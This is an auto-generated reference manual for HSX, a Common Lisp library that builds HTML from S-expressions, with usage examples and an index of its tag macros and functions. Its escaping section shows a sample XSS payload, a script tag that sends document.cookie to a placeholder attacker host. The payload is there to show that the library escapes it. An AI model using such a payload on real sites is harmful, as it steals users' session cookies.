The hsx Reference Manual

This is the hsx Reference Manual, version 0.6.0, generated automatically by Declt version 4.0 beta 2 "William Riker" on Tue Jul 15 05:17:50 2025 GMT+0.

Table of Contents


1 Introduction


2 Systems

The main system appears first, followed by any subsystem dependency.


2.1 hsx

Simple and powerful HTML generation library.

Maintainer

Akira Tempaku <>

Author

Akira Tempaku, Bo Yao

License

MIT

Long Description

# HSX – Hypertext S-expression

**HSX** is a simple and powerful HTML generation library for Common Lisp, inspired by JSX. It allows you to write HTML using native Lisp syntax.

[Practical usage example](https://github.com/skyizwhite/website)

> 🚧 **BETA NOTICE:**
> This library is still in early development. APIs may change.
> See [release notes](https://github.com/skyizwhite/hsx/releases) for details.

## ⚙️ How HSX Works

Every tag or component inside an ‘(hsx ...)‘ form is transformed into a Lisp expression of the form:

“‘lisp
(create-element type props children)
“‘

For example:

“‘lisp
(hsx
(article :class "container"
(h1 "Title")
(p "Paragraph")
(~share-button :service :x))
“‘
Is internally transformed (by macro expansion) into:

“‘lisp
(create-element :article
(list :class "container")
(list (create-element :h1
(list)
(list "Title"))
(create-element :p
(list)
(list "Paragraph"))
(create-element #’~share-button
(list :service :x)
(list))))
“‘

## 🚀 Quick Example

“‘lisp
(hsx
(div :id "main" :class "container"
(h1 "Hello, HSX!")
(p "This is a simple paragraph.")))
“‘

Generates:

“‘html
<div id="main" class="container">
<h1>Hello, HSX!</h1>
<p>This is a simple paragraph.</p>
</div>
“‘

## 📝 Rendering

Use ‘render-to-string‘ to convert an HSX structure to a string of HTML:

“‘lisp
(render-to-string
(hsx ...))
“‘

## 🔐 Escaping text

All elements automatically escape special characters in content to prevent XSS and HTML injection:

“‘lisp
(hsx
(div "<script>fetch(’evilwebsite.com’, { method: ’POST’, body: document.cookie })</script>"))
“‘
Outputs:

“‘html
<div>&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;</div>
“‘

Use the special tag ‘raw!‘ to inject trusted, unescaped HTML:

“‘lisp
(hsx
(article (raw! "HTML text here ..."))
“‘

## 🧩 Fragments

Use ‘<>‘ tag to group multiple sibling elements without wrapping them in a container tag:

“‘lisp
(hsx
(<>
(p "One")
(p "Two")))
“‘

Outputs:

“‘html
<p>One</p>
<p>Two</p>
“‘

Note: ‘raw!‘ tag is a fragment that disables HTML escaping for its children.

## 🧱 Components

Define reusable components using ‘defcomp‘ macro. Component names must start with ‘~‘.

*Keyword-style*

“‘lisp
(defcomp ~card (&key title children)
(hsx
(div :class "card"
(h2 title)
children)))
“‘

*Property-list style*

“‘lisp
(defcomp ~card (&rest props)
(hsx
(div :class "card"
(h2 (getf props :title))
(getf props :children))))
“‘

### Usage

“‘lisp
(hsx
(~card :title "Hello"
(p "This is a card.")))
“‘

Outputs:

“‘html
<div class="card">
<h2>Hello</h2>
<p>This is a card.</p>
</div>
“‘

## 🧬 Logic and Interpolation

You can freely embed Lisp expressions, conditionals, and loops inside HSX forms:

“‘lisp
(hsx
(div
(if (> (random 10) 5)
(hsx (p "High!"))
(hsx (p "Low!")))))
“‘

Or loop:

“‘lisp
(hsx
(ul
(loop :for item :in todo-list :collect
(hsx (li item))))))
“‘

## Utils

- ‘(clsx &rest strs)‘: A utility function for constructing class strings conditionally. It removes ‘nil‘ from the string list, then joins the remaining strings with spaces.

## 📄 License

MIT License

© 2024 Akira Tempaku

© 2018 Bo Yao (original [flute](https://github.com/ailisp/flute) project)

Version

0.6.0

Dependency

hsx/main (system).

Source

hsx.asd.


2.2 hsx/main

Maintainer

Akira Tempaku <>

Author

Akira Tempaku, Bo Yao

License

MIT

Dependencies
Source

hsx.asd.


2.3 hsx/element

Maintainer

Akira Tempaku <>

Author

Akira Tempaku, Bo Yao

License

MIT

Dependencies
Source

hsx.asd.


2.4 hsx/utils

Maintainer

Akira Tempaku <>

Author

Akira Tempaku, Bo Yao

License

MIT

Dependency

alexandria (system).

Source

hsx.asd.


2.5 hsx/dsl

Maintainer

Akira Tempaku <>

Author

Akira Tempaku, Bo Yao

License

MIT

Dependencies
Source

hsx.asd.


2.6 hsx/builtin

Maintainer

Akira Tempaku <>

Author

Akira Tempaku, Bo Yao

License

MIT

Dependency

hsx/dsl (system).

Source

hsx.asd.


3 Files

Files are sorted by type and then listed depth-first from the systems components trees.


3.1 Lisp


3.1.1 hsx/hsx.asd

Source

hsx.asd.

Parent Component

hsx (system).

ASDF Systems

3.1.2 hsx/main/file-type.lisp

Source

hsx.asd.

Parent Component

hsx/main (system).

Packages

hsx.


3.1.3 hsx/element/file-type.lisp

Source

hsx.asd.

Parent Component

hsx/element (system).

Packages

hsx/element.

Public Interface
Internals

3.1.4 hsx/utils/file-type.lisp

Source

hsx.asd.

Parent Component

hsx/utils (system).

Packages

hsx/utils.

Public Interface
Internals

3.1.5 hsx/dsl/file-type.lisp

Source

hsx.asd.

Parent Component

hsx/dsl (system).

Packages

hsx/dsl.

Public Interface
Internals

3.1.6 hsx/builtin/file-type.lisp

Source

hsx.asd.

Parent Component

hsx/builtin (system).

Packages

hsx/builtin.

Public Interface
Internals

define-builtin-tags (macro).


4 Packages

Packages are listed by definition order.


4.1 hsx/utils

Source

file-type.lisp.

Use List

common-lisp.

Used By List

hsx.

Public Interface
Internals

4.2 hsx/builtin

Source

file-type.lisp.

Use List

common-lisp.

Public Interface
Internals

define-builtin-tags (macro).


4.3 hsx/element

Source

file-type.lisp.

Use List

common-lisp.

Used By List

hsx.

Public Interface
Internals

4.4 hsx/dsl

Source

file-type.lisp.

Use List

common-lisp.

Used By List

hsx.

Public Interface
Internals

4.5 hsx

Source

file-type.lisp.

Nickname

hsx/main

Use List

5 Definitions

Definitions are sorted by export status, category, package, and then by lexicographic order.


5.1 Public Interface


5.1.1 Macros

Macro: <> (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: a (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: abbr (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: address (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: area (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: article (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: aside (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: audio (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: b (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: base (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: bdi (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: bdo (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: blockquote (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: body (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: br (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: button (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: canvas (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: caption (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: cite (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: code (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: col (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: colgroup (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: data (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: datalist (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: dd (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: defcomp (~name props &body body)

Define an HSX function component.
The component name must start with a tilde (~).
Component properties must be declared using &key, &rest, or both. The body of the component must produce a valid HSX element.

Package

hsx/dsl.

Source

file-type.lisp.

Macro: deftag (name)
Package

hsx/dsl.

Source

file-type.lisp.

Macro: del (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: details (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: dfn (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: dialog (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: div (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: dl (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: dt (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: em (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: embed (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: fieldset (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: figcaption (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: figure (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Package

hsx/builtin.

Source

file-type.lisp.

Macro: form (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: h1 (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: h2 (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: h3 (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: h4 (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: h5 (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: h6 (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: head (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: header (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: hr (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: hsx (form)

Detect HSX elements and automatically import them.

Package

hsx/dsl.

Source

file-type.lisp.

Macro: html (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: i (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: iframe (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: img (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: input (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: ins (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: kbd (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: label (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: legend (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: li (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Package

hsx/builtin.

Source

file-type.lisp.

Macro: main (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: map (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: mark (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: meta (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: meter (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: nav (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: noscript (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: object (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: ol (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: optgroup (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: option (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: output (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: p (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: param (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: picture (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: pre (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: progress (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: q (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: raw! (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: rp (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: rt (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: ruby (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: s (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: samp (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: script (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: section (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: select (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: small (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: source (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: span (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: strong (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: style (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: sub (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: summary (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: sup (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: svg (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: table (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: tbody (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: td (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: template (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: textarea (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: tfoot (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: th (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: thead (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: time (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: title (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: tr (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: track (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: u (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: ul (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: var (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: video (&body body)
Package

hsx/builtin.

Source

file-type.lisp.

Macro: wbr (&body body)
Package

hsx/builtin.

Source

file-type.lisp.


5.1.2 Ordinary functions

Function: clsx (&rest strs)
Package

hsx/utils.

Source

file-type.lisp.

Function: create-element (type props children)
Package

hsx/element.

Source

file-type.lisp.

Function: escape-html-attribute (str)
Package

hsx/utils.

Source

file-type.lisp.

Function: escape-html-text-content (str)
Package

hsx/utils.

Source

file-type.lisp.


5.1.3 Generic functions

Generic Reader: element-children (object)
Package

hsx/element.

Methods
Reader Method: element-children ((element element))

automatically generated reader method

Source

file-type.lisp.

Target Slot

children.

Generic Reader: element-props (object)
Package

hsx/element.

Methods
Reader Method: element-props ((element element))

automatically generated reader method

Source

file-type.lisp.

Target Slot

props.

Generic Reader: element-type (object)
Package

hsx/element.

Methods
Reader Method: element-type ((element element))

automatically generated reader method

Source

file-type.lisp.

Target Slot

type.

Generic Function: expand-component (element)
Package

hsx/element.

Methods
Method: expand-component ((element component))
Source

file-type.lisp.

Generic Function: render-to-string (element &key pretty)

Render an HSX element to a string.

Package

hsx/element.

Source

file-type.lisp.

Methods
Method: render-to-string ((element element) &key pretty)

5.1.4 Standalone methods

Method: print-object ((element fragment) stream)
Source

file-type.lisp.

Method: print-object ((element self-closing-tag) stream)
Source

file-type.lisp.

Method: print-object ((element html-tag) stream)
Source

file-type.lisp.

Method: print-object ((element component) stream)
Source

file-type.lisp.

Method: print-object ((element tag) stream)
Source

file-type.lisp.


5.1.5 Classes

Class: component
Package

hsx/element.

Source

file-type.lisp.

Direct superclasses

element.

Direct methods
Class: element
Package

hsx/element.

Source

file-type.lisp.

Direct subclasses
Direct methods
Direct slots
Slot: type
Package

common-lisp.

Initargs

:type

Readers

element-type.

Writers

This slot is read-only.

Slot: props
Initargs

:props

Readers

element-props.

Writers

This slot is read-only.

Slot: children
Initargs

:children

Readers

element-children.

Writers

This slot is read-only.

Class: fragment
Package

hsx/element.

Source

file-type.lisp.

Direct superclasses

tag.

Direct subclasses

raw-fragment.

Direct methods

print-object.

Class: html-tag
Package

hsx/element.

Source

file-type.lisp.

Direct superclasses

tag.

Direct methods

print-object.

Class: raw-fragment
Package

hsx/element.

Source

file-type.lisp.

Direct superclasses

fragment.

Direct methods

render-children.

Class: self-closing-tag
Package

hsx/element.

Source

file-type.lisp.

Direct superclasses

tag.

Direct methods

print-object.

Class: tag
Package

hsx/element.

Source

file-type.lisp.

Direct superclasses

element.

Direct subclasses
Direct methods

5.2 Internals


5.2.1 Special variables

Special Variable: *attribute-escape-map*
Package

hsx/utils.

Source

file-type.lisp.

Special Variable: *text-content-escape-map*
Package

hsx/utils.

Source

file-type.lisp.


5.2.2 Macros

Macro: defhsx (name element-type)
Package

hsx/dsl.

Source

file-type.lisp.

Macro: define-builtin-tags (&rest names)
Package

hsx/builtin.

Source

file-type.lisp.


5.2.3 Ordinary functions

Function: %create-element (type &rest body)
Package

hsx/dsl.

Source

file-type.lisp.

Function: detect-builtin-element (sym)
Package

hsx/dsl.

Source

file-type.lisp.

Function: detect-component (sym)
Package

hsx/dsl.

Source

file-type.lisp.

Function: detect-elements (form)
Package

hsx/dsl.

Source

file-type.lisp.

Function: escape-char (char escape-map)
Package

hsx/utils.

Source

file-type.lisp.

Function: escape-string (str escape-map)
Package

hsx/utils.

Source

file-type.lisp.

Function: flatten (x)
Package

hsx/element.

Source

file-type.lisp.

Function: parse-body (body)
Package

hsx/dsl.

Source

file-type.lisp.

Function: start-with-tilde-p (sym)
Package

hsx/dsl.

Source

file-type.lisp.


5.2.4 Generic functions

Generic Function: element-props-with-children (element)
Package

hsx/element.

Methods
Method: element-props-with-children ((element component))
Source

file-type.lisp.

Generic Function: render-children (element)
Package

hsx/element.

Methods
Method: render-children ((element raw-fragment))
Source

file-type.lisp.

Method: render-children ((element tag))
Source

file-type.lisp.

Generic Function: render-props (element)
Package

hsx/element.

Methods
Method: render-props ((element tag))
Source

file-type.lisp.

Generic Function: render-type (element)
Package

hsx/element.

Methods
Method: render-type ((element tag))
Source

file-type.lisp.


5.2.5 Types

Type: self-closing-tag-sym ()
Package

hsx/element.

Source

file-type.lisp.


Appendix A Indexes


A.1 Concepts


A.2 Functions

Jump to:   %   <  
A   B   C   D   E   F   G   H   I   K   L   M   N   O   P   Q   R   S   T   U   V   W  
Index Entry  Section

%
%create-element: Private ordinary functions

<
<>: Public macros

A
a: Public macros
abbr: Public macros
address: Public macros
area: Public macros
article: Public macros
aside: Public macros
audio: Public macros

B
b: Public macros
base: Public macros
bdi: Public macros
bdo: Public macros
blockquote: Public macros
body: Public macros
br: Public macros
button: Public macros

C
canvas: Public macros
caption: Public macros
cite: Public macros
clsx: Public ordinary functions
code: Public macros
col: Public macros
colgroup: Public macros
create-element: Public ordinary functions

D
data: Public macros
datalist: Public macros
dd: Public macros
defcomp: Public macros
defhsx: Private macros
define-builtin-tags: Private macros
deftag: Public macros
del: Public macros
details: Public macros
detect-builtin-element: Private ordinary functions
detect-component: Private ordinary functions
detect-elements: Private ordinary functions
dfn: Public macros
dialog: Public macros
div: Public macros
dl: Public macros
dt: Public macros

E
element-children: Public generic functions
element-children: Public generic functions
element-props: Public generic functions
element-props: Public generic functions
element-props-with-children: Private generic functions
element-props-with-children: Private generic functions
element-type: Public generic functions
element-type: Public generic functions
em: Public macros
embed: Public macros
escape-char: Private ordinary functions
escape-html-attribute: Public ordinary functions
escape-html-text-content: Public ordinary functions
escape-string: Private ordinary functions
expand-component: Public generic functions
expand-component: Public generic functions

F
fieldset: Public macros
figcaption: Public macros
figure: Public macros
flatten: Private ordinary functions
footer: Public macros
form: Public macros
Function, %create-element: Private ordinary functions
Function, clsx: Public ordinary functions
Function, create-element: Public ordinary functions
Function, detect-builtin-element: Private ordinary functions
Function, detect-component: Private ordinary functions
Function, detect-elements: Private ordinary functions
Function, escape-char: Private ordinary functions
Function, escape-html-attribute: Public ordinary functions
Function, escape-html-text-content: Public ordinary functions
Function, escape-string: Private ordinary functions
Function, flatten: Private ordinary functions
Function, parse-body: Private ordinary functions
Function, start-with-tilde-p: Private ordinary functions

G
Generic Function, element-children: Public generic functions
Generic Function, element-props: Public generic functions
Generic Function, element-props-with-children: Private generic functions
Generic Function, element-type: Public generic functions
Generic Function, expand-component: Public generic functions
Generic Function, render-children: Private generic functions
Generic Function, render-props: Private generic functions
Generic Function, render-to-string: Public generic functions
Generic Function, render-type: Private generic functions

H
h1: Public macros
h2: Public macros
h3: Public macros
h4: Public macros
h5: Public macros
h6: Public macros
head: Public macros
header: Public macros
hr: Public macros
hsx: Public macros
html: Public macros

I
i: Public macros
iframe: Public macros
img: Public macros
input: Public macros
ins: Public macros

K
kbd: Public macros

L
label: Public macros
legend: Public macros
li: Public macros
link: Public macros

M
Macro, <>: Public macros
Macro, a: Public macros
Macro, abbr: Public macros
Macro, address: Public macros
Macro, area: Public macros
Macro, article: Public macros
Macro, aside: Public macros
Macro, audio: Public macros
Macro, b: Public macros
Macro, base: Public macros
Macro, bdi: Public macros
Macro, bdo: Public macros
Macro, blockquote: Public macros
Macro, body: Public macros
Macro, br: Public macros
Macro, button: Public macros
Macro, canvas: Public macros
Macro, caption: Public macros
Macro, cite: Public macros
Macro, code: Public macros
Macro, col: Public macros
Macro, colgroup: Public macros
Macro, data: Public macros
Macro, datalist: Public macros
Macro, dd: Public macros
Macro, defcomp: Public macros
Macro, defhsx: Private macros
Macro, define-builtin-tags: Private macros
Macro, deftag: Public macros
Macro, del: Public macros
Macro, details: Public macros
Macro, dfn: Public macros
Macro, dialog: Public macros
Macro, div: Public macros
Macro, dl: Public macros
Macro, dt: Public macros
Macro, em: Public macros
Macro, embed: Public macros
Macro, fieldset: Public macros
Macro, figcaption: Public macros
Macro, figure: Public macros
Macro, footer: Public macros
Macro, form: Public macros
Macro, h1: Public macros
Macro, h2: Public macros
Macro, h3: Public macros
Macro, h4: Public macros
Macro, h5: Public macros
Macro, h6: Public macros
Macro, head: Public macros
Macro, header: Public macros
Macro, hr: Public macros
Macro, hsx: Public macros
Macro, html: Public macros
Macro, i: Public macros
Macro, iframe: Public macros
Macro, img: Public macros
Macro, input: Public macros
Macro, ins: Public macros
Macro, kbd: Public macros
Macro, label: Public macros
Macro, legend: Public macros
Macro, li: Public macros
Macro, link: Public macros
Macro, main: Public macros
Macro, map: Public macros
Macro, mark: Public macros
Macro, meta: Public macros
Macro, meter: Public macros
Macro, nav: Public macros
Macro, noscript: Public macros
Macro, object: Public macros
Macro, ol: Public macros
Macro, optgroup: Public macros
Macro, option: Public macros
Macro, output: Public macros
Macro, p: Public macros
Macro, param: Public macros
Macro, picture: Public macros
Macro, pre: Public macros
Macro, progress: Public macros
Macro, q: Public macros
Macro, raw!: Public macros
Macro, rp: Public macros
Macro, rt: Public macros
Macro, ruby: Public macros
Macro, s: Public macros
Macro, samp: Public macros
Macro, script: Public macros
Macro, section: Public macros
Macro, select: Public macros
Macro, small: Public macros
Macro, source: Public macros
Macro, span: Public macros
Macro, strong: Public macros
Macro, style: Public macros
Macro, sub: Public macros
Macro, summary: Public macros
Macro, sup: Public macros
Macro, svg: Public macros
Macro, table: Public macros
Macro, tbody: Public macros
Macro, td: Public macros
Macro, template: Public macros
Macro, textarea: Public macros
Macro, tfoot: Public macros
Macro, th: Public macros
Macro, thead: Public macros
Macro, time: Public macros
Macro, title: Public macros
Macro, tr: Public macros
Macro, track: Public macros
Macro, u: Public macros
Macro, ul: Public macros
Macro, var: Public macros
Macro, video: Public macros
Macro, wbr: Public macros
main: Public macros
map: Public macros
mark: Public macros
meta: Public macros
meter: Public macros
Method, element-children: Public generic functions
Method, element-props: Public generic functions
Method, element-props-with-children: Private generic functions
Method, element-type: Public generic functions
Method, expand-component: Public generic functions
Method, print-object: Public standalone methods
Method, print-object: Public standalone methods
Method, print-object: Public standalone methods
Method, print-object: Public standalone methods
Method, print-object: Public standalone methods
Method, render-children: Private generic functions
Method, render-children: Private generic functions
Method, render-props: Private generic functions
Method, render-to-string: Public generic functions
Method, render-type: Private generic functions

N
nav: Public macros
noscript: Public macros

O
object: Public macros
ol: Public macros
optgroup: Public macros
option: Public macros
output: Public macros

P
p: Public macros
param: Public macros
parse-body: Private ordinary functions
picture: Public macros
pre: Public macros
print-object: Public standalone methods
print-object: Public standalone methods
print-object: Public standalone methods
print-object: Public standalone methods
print-object: Public standalone methods
progress: Public macros

Q
q: Public macros

R
raw!: Public macros
render-children: Private generic functions
render-children: Private generic functions
render-children: Private generic functions
render-props: Private generic functions
render-props: Private generic functions
render-to-string: Public generic functions
render-to-string: Public generic functions
render-type: Private generic functions
render-type: Private generic functions
rp: Public macros
rt: Public macros
ruby: Public macros

S
s: Public macros
samp: Public macros
script: Public macros
section: Public macros
select: Public macros
small: Public macros
source: Public macros
span: Public macros
start-with-tilde-p: Private ordinary functions
strong: Public macros
style: Public macros
sub: Public macros
summary: Public macros
sup: Public macros
svg: Public macros

T
table: Public macros
tbody: Public macros
td: Public macros
template: Public macros
textarea: Public macros
tfoot: Public macros
th: Public macros
thead: Public macros
time: Public macros
title: Public macros
tr: Public macros
track: Public macros

U
u: Public macros
ul: Public macros

V
var: Public macros
video: Public macros

W
wbr: Public macros


A.4 Data types

Jump to:   C   E   F   H   P   R   S   T  
Index Entry  Section

C
Class, component: Public classes
Class, element: Public classes
Class, fragment: Public classes
Class, html-tag: Public classes
Class, raw-fragment: Public classes
Class, self-closing-tag: Public classes
Class, tag: Public classes
component: Public classes

E
element: Public classes

F
File, file-type.lisp: The hsx/main/file-type․lisp file
File, file-type.lisp: The hsx/element/file-type․lisp file
File, file-type.lisp: The hsx/utils/file-type․lisp file
File, file-type.lisp: The hsx/dsl/file-type․lisp file
File, file-type.lisp: The hsx/builtin/file-type․lisp file
File, hsx.asd: The hsx/hsx․asd file
file-type.lisp: The hsx/main/file-type․lisp file
file-type.lisp: The hsx/element/file-type․lisp file
file-type.lisp: The hsx/utils/file-type․lisp file
file-type.lisp: The hsx/dsl/file-type․lisp file
file-type.lisp: The hsx/builtin/file-type․lisp file
fragment: Public classes

H
hsx: The hsx system
hsx: The hsx package
hsx.asd: The hsx/hsx․asd file
hsx/builtin: The hsx/builtin system
hsx/builtin: The hsx/builtin package
hsx/dsl: The hsx/dsl system
hsx/dsl: The hsx/dsl package
hsx/element: The hsx/element system
hsx/element: The hsx/element package
hsx/main: The hsx/main system
hsx/utils: The hsx/utils system
hsx/utils: The hsx/utils package
html-tag: Public classes

P
Package, hsx: The hsx package
Package, hsx/builtin: The hsx/builtin package
Package, hsx/dsl: The hsx/dsl package
Package, hsx/element: The hsx/element package
Package, hsx/utils: The hsx/utils package

R
raw-fragment: Public classes

S
self-closing-tag: Public classes
self-closing-tag-sym: Private types
System, hsx: The hsx system
System, hsx/builtin: The hsx/builtin system
System, hsx/dsl: The hsx/dsl system
System, hsx/element: The hsx/element system
System, hsx/main: The hsx/main system
System, hsx/utils: The hsx/utils system

T
tag: Public classes
Type, self-closing-tag-sym: Private types